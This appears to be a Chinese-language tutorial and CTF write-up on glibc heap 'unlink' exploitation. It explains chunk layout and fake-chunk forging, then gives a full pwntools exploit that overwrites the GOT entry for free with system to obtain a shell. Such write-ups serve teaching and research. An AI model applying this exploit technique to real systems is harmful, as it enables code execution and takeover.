unlink淺析

參考文章:

關(guān)于heap overflow的一些筆記 ? by ETenal

[CTF]Heap vuln -- unlink ? ? ? ? ? by 0xmuhe

0x00 unlink宏

堆chunk的結(jié)構(gòu):

struct malloc_chunk {

INTERNAL_SIZE_T prev_size; ? ? ? ? /* Size of previous chunk (if free). */

INTERNAL_SIZE_T size; ? ? ? ? ? ? ? ? ?/* Size in bytes, including overhead. */

struct malloc_chunk* fd; ? ? ? ? ? ? ? ? ? ?/* double links -- used only if free. */

struct malloc_chunk* bk; ? ? ? ? ? ? ? ? ? /* Only used for large blocks: pointer to next larger size. */

struct malloc_chunk* fd_nextsize; ? ? /* double links -- used only if free. */

struct malloc_chunk* bk_nextsize; };

其中size的低位1bit記錄前一個(gè)堆塊的使用情況。若使用中,則為1,同時(shí)presize為0暫時(shí)沒什么用(??);若前一個(gè)堆塊已經(jīng)被釋放掉為空閑,則為0,

同時(shí)presize記錄前一個(gè)堆塊的大小,用于從當(dāng)前堆塊計(jì)算前一個(gè)堆塊的起始地址。


執(zhí)行free(某個(gè)堆塊P)時(shí)進(jìn)行如下操作:

1).檢查是否可以向后合并

首先需要檢查 previous chunk 是否是空閑的(通過當(dāng)前 chunk size 部分中的 flag 最低位去判斷),在默認(rèn)情況下,堆內(nèi)存中的第一個(gè)chunk總是被設(shè)置為allocated的,即使它根本就不存在。

如果為free的話,那么就進(jìn)行向后合并:

1)將前一個(gè)chunk占用的內(nèi)存合并到當(dāng)前chunk;

2)修改指向當(dāng)前chunk的指針,改為指向前一個(gè)chunk。

3)使用unlink宏,將前一個(gè)free chunk從雙向循環(huán)鏈表中移除。

前一個(gè) chunk 是正在使用的,不滿足向后合并的條件。

2).檢查是否可以向前合并

在這里需要檢查 next chunk 是否是空閑的(通過下下個(gè) chunk 的flag的最低位去判斷),在找下下個(gè)chunk(這里的下、包括下下都是相對于 chunk first 而言的)的過程中,首先當(dāng)前 chunk+ 當(dāng)前 size 可以引導(dǎo)到下個(gè) chunk ,然后從下個(gè) chunk 的開頭加上下個(gè) chunk 的 size 就可以引導(dǎo)到下下個(gè) chunk 。

如果我們把下個(gè) chunk 的 size 覆蓋為了-4,那么它會(huì)認(rèn)為下個(gè) chunk 從 prev_size 開始就是下下個(gè)chunk了,既然已經(jīng)找到了下下個(gè) chunk ,那就就要去看看 size 的最低位以確定下個(gè) chunk 是否在使用,當(dāng)然這個(gè) size 是 -4 ,所以它指示下個(gè) chunk 是空閑的。

在這個(gè)時(shí)候,就要發(fā)生向前合并了。即 first chunk 會(huì)和 first chunk 的下個(gè) chunk (即 second chunk )發(fā)生合并。在此時(shí)會(huì)觸發(fā) unlink(second) 宏,想將 second 從它所在的 bin list 中解引用。

unlink宏:

#define unlink(P, BK, FD) {

?FD = P->fd; ? ? ? ? ? ? ? ?//FD = *P + 8;

?BK = P->bk; ? ? ? ? ? ? ? //?BK = *P + 12;

FD->bk = BK; ? ? ? ? ? ? //? FD + 12 = BK;

?BK->fd = FD; ? ? ? ? ? ?//?? BK + 8 = FD;

}

/*?能操控的就是FD,BK,要注意,F(xiàn)D+12和BK+8都要保證可寫*/

0x01 繞過新glibc防護(hù)進(jìn)行unlink利用

上述unlink方法已經(jīng)被glibc遺棄很久了,現(xiàn)在的unlink使用了如下的檢查機(jī)制

void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)

{

FD = P->fd;

BK = P->bk;

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))

? ? ? ?malloc_printerr(check_action,"corrupted double-linked list",P);

else

? ? ? ?{

? ? ? ?FD->bk = BK;

? ? ? ?BK->fd = FD;

? ? ? ?}

}

在脫鏈表時(shí)會(huì)檢查當(dāng)前chunk是否真的在鏈表內(nèi),如果它前驅(qū)的后繼不是自己或者后繼的前驅(qū)不是自己,就直接拋錯(cuò)誤。這使unlink利用變得十分困難(并非不可利用),很快人們就發(fā)現(xiàn),如果找到一個(gè)指向P的指針,精心偽造一個(gè)chunk,使FD->bk和BK->fd=P,這可以通過unlink檢查。在接下來的過程:

FD->bk=BK;

BK->fd=FD;

中這個(gè)指針將被FD覆蓋。


舉個(gè)栗子

考慮程序功能使用一個(gè)chunk_list來存儲(chǔ)所有malloc申請到的內(nèi)存。(顯然這是很自然的做法,還有一種情況是先申請一個(gè)大的堆塊作為chunk_list,這種情況需要先泄露出chunk_list的地址)

buffer1=malloc(64);

chunk_list[0]=buffer1;

在偽造chunk時(shí),使P->fd=chunk_list-12,P->bk=chunk_list-8,這會(huì)使

FD->bk=chunk_list-12+12=chunk_list

BK->fd=chunk_list-8+8=chunk_list ? ?/*chunk_list指向buffer1

此時(shí)free(buffer2)會(huì)進(jìn)行向后合并,執(zhí)行unlink(buffer1),此時(shí)fd和bk都指向buffer1自己,通過檢查。

最后的結(jié)果就是chunk_list[0]=chunk_list-12。

用戶向申請到的堆塊即向buffer1寫入內(nèi)容時(shí),實(shí)際上是往*(chunk_list[0])里寫,通過向

*(chunk_list[0])=*(chunk_list-12)寫入數(shù)據(jù)12字節(jié)的junk,再寫4字節(jié)將覆蓋chunk_list[0],即chunk_list[0]可控

利用:

1)用戶打印堆塊的data內(nèi)容,實(shí)際上是print ?*(chunk_list[0]),由于chunk_list[0]可控,可以實(shí)現(xiàn)任意地址讀

2)用戶向data中寫入,實(shí)際上是向*(chunk_list[0])中寫入,可以實(shí)現(xiàn)任意地址寫


0x02 偽造chunk


例如,malloc兩個(gè)大小為0x80的堆塊:

chunk0=malloc(0x80)

chunk1=malloc(0x80)

堆塊目前大致像這樣:

一些細(xì)節(jié):

1)malloc一塊0x80大小的內(nèi)存,返回給用戶的指針實(shí)際上指向堆塊的data位置,而在data前面還有presize和size兩個(gè)4字節(jié)的內(nèi)容,所以malloc(N)的實(shí)際的堆塊大小應(yīng)該為N+8。

2)malloc時(shí)總是8字節(jié)對齊的,所以size的低三位被用來作為標(biāo)識(shí)位,最低位標(biāo)識(shí)前一個(gè)堆塊是否使用中,為0則空閑,為1則為使用中。所以size中的值為0x80+8+1。

3)prev_size是前一塊chunk的大小,前提是前一塊chunk狀態(tài)是free,如果前一塊還在被使用,這4個(gè)字節(jié)會(huì)被前一塊chunk共享使用以提高空間使用率。所以此時(shí)chunk1的presize為0。

chunk0的data用戶可以輸入,如果沒有檢查長度輸入可以覆蓋到chunk1的presize和size。

chunk1的size被覆蓋為0x88,低位為0,標(biāo)識(shí)前一個(gè)堆塊chunk0狀態(tài)為free。

fake chunk0大小等于chunk0的data區(qū),大小為0x80

chunk0的fd和bk是可控的。

這時(shí)free(chunk1),發(fā)生向后合并,執(zhí)行宏unlink(chunk0),注意free()通過當(dāng)前堆塊chunk1的地址減去presize來尋址到前一個(gè)堆塊chunk0,由于此時(shí)presize已經(jīng)被我們構(gòu)造成0x80,所以尋找前一個(gè)堆塊時(shí)就會(huì)找到構(gòu)造的fake chunk,從而執(zhí)行unlink(fake chunk),剩下的步驟就按照栗子圖下面的搞起~

0x03 一個(gè)pwn栗子

二進(jìn)制文件

編輯內(nèi)容的時(shí)候read造成了溢出。

首先新建三個(gè)堆塊:

add(0x80)

add(0x80)

add(0x80)

構(gòu)造fake chunk:

chunk_list=0x08049D60

payload=p32(0x0)+p32(0x81) ? ? ? ? #fake presize & fake size

payload+=p32(chunk_list-0xc) ? ? ? ?#fd

payload+=p32(chunk_list-0x8) ? ? ? ?#bk

payload+=0x70*'A' ? ? ? ? ? ? ? ? ? ? ? ? ? #paddings

payload+=p32(0x80)+p32(0x88)

edit(0,payload)

現(xiàn)在的堆結(jié)構(gòu):

chunk1的size低位為0發(fā)生向后合并

0x8442088通過-presize向前尋址剛好尋址到0x842008,即構(gòu)造的fake chunk。

unlink(fake chunk)檢查:

? ? ? ? ? ? ? ? ? ? fd->bk = *(fd+0xc) = *0x8049d60 = 0x08442008

? ? ? ? ? ? ? ? ? ? bk->fd = *(bk+0x8) = *0x8049d60 = 0x08442008

? ? ? ? ? ? ? ? ? ? fd->bk = bk->fd = fake chunk

unlink(fake chunk)操作:

? ? ? ? ? ? ? ? ? ? FD?= fd;

? ? ? ? ? ? ? ? ? ? BK = bk;

? ? ? ? ? ? ? ? ? ? FD->bk = BK;

? ? ? ? ? ? ? ? ? ? BK->fd = FD;

即:*(0x8049d60)=0x8049d54;

任意地址讀:

edit(0,'A'*12+p32(chunk_list-0xc)+p32(addr))

相當(dāng)于做了**(0x8049d60)=payload的操作,即往0x8049d54里寫入長度為12的junk之后,再往0x8049d60里寫入0x8049d54,往0x8049d64里寫入p32(addr),緊接著show(1)打印addr的內(nèi)容,即可完成任意地址讀,可以通過DynELF查找system地址。

任意地址寫:

edit(0,'A'*12+p32(elf.got['free']))

edit(0,p32(system_addr))

0x8049d54里寫入長度為12的junk之后,繼續(xù)就是往0x8049d60里寫入free的got表地址,再次edit(0)就能夠修改got表,把"/bin/sh"作為data寫到一開始分配的第三個(gè)堆塊里,作remove(2)就可以getshell。

附上exp:


from pwn import *

p=process('./heap')

chunk_list=0x08049D60

def leak(addr):

edit(0,'A'*12+p32(chunk_list-0xc)+p32(addr))

show(1)

result=p.recv(4)

print "%#x? %s" %(addr,hex(u32(result)))

return result

def add(size):

p.recvuntil('5.Exit')

p.sendline('1')

p.recvuntil('Input the size of chunk you want to add:')

p.sendline(str(size))

def edit(index,data):

p.recvuntil('5.Exit')

p.sendline('2')

p.recvuntil('Set chunk index:')

p.sendline(str(index))

p.recvuntil('Set chunk data:')

p.sendline(data)

def remove(index):

p.recvuntil('5.Exit')

p.sendline('3')

p.recvuntil('Delete chunk index:')

p.sendline(str(index))

def show(index):

p.recvuntil('5.Exit')

p.sendline('4')

p.recvuntil('Print chunk index:')

p.sendline(str(index))

e=ELF('./heap')

add(0x80)

add(0x80)

add(0x80)

payload=p32(0x0)+p32(0x81)? #fake presize? & fake size

payload+=p32(chunk_list-0xc) #fd

payload+=p32(chunk_list-0x8) #bk

payload+=0x70*'A'? ? ? ? ? ? ? ? ? ? ? ? ? ? #paddings

payload+=p32(0x80)+p32(0x88)

#gdb.attach(p,'b* 0x8048702')

edit(0,payload)

remove(1)

d=DynELF(leak,elf=e)

system_addr=d.lookup('system','libc')

print "system address: ",hex(system_addr)

edit(0,'A'*12+p32(e.got['free']))

edit(0,p32(system_addr))

edit(2,'/bin/sh')

remove(2)

p.interactive()


最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • Double Free其實(shí)就是同一個(gè)指針free兩次。雖然一般把它叫做double free。其實(shí)只要是free一...
    BJChangAn閱讀 12,353評(píng)論 0 1
  • emmm這一篇既是開始,也是一個(gè)小小的總結(jié)。 Q1:為什么是ptmalloc呢? A:內(nèi)存的分配釋放都很頻繁,pt...
    BJChangAn閱讀 1,780評(píng)論 0 1
  • 我要做一只少女 養(yǎng)一位男孩子氣的貓 開心了就喂我吃魚 憂郁時(shí)就陪我看雨 我要做一位貓咪 找一只女孩子氣的少女 哄她...
    Birdy鳥鳥閱讀 334評(píng)論 2 1
  • 生來就是孤島 連接了也是孤島 只在那一瞬 感受到情緒的波瀾 便再也無任何趣味了 百無聊賴的人生啊
    percy0016閱讀 128評(píng)論 0 0
  • ——2008年7月《都市麗人》 “生命很脆弱,應(yīng)該好好地去珍惜。”這句話,從旁人口中說出來,可能還有些輕描淡寫的...
    hugh_diary閱讀 700評(píng)論 0 1

友情鏈接更多精彩內(nèi)容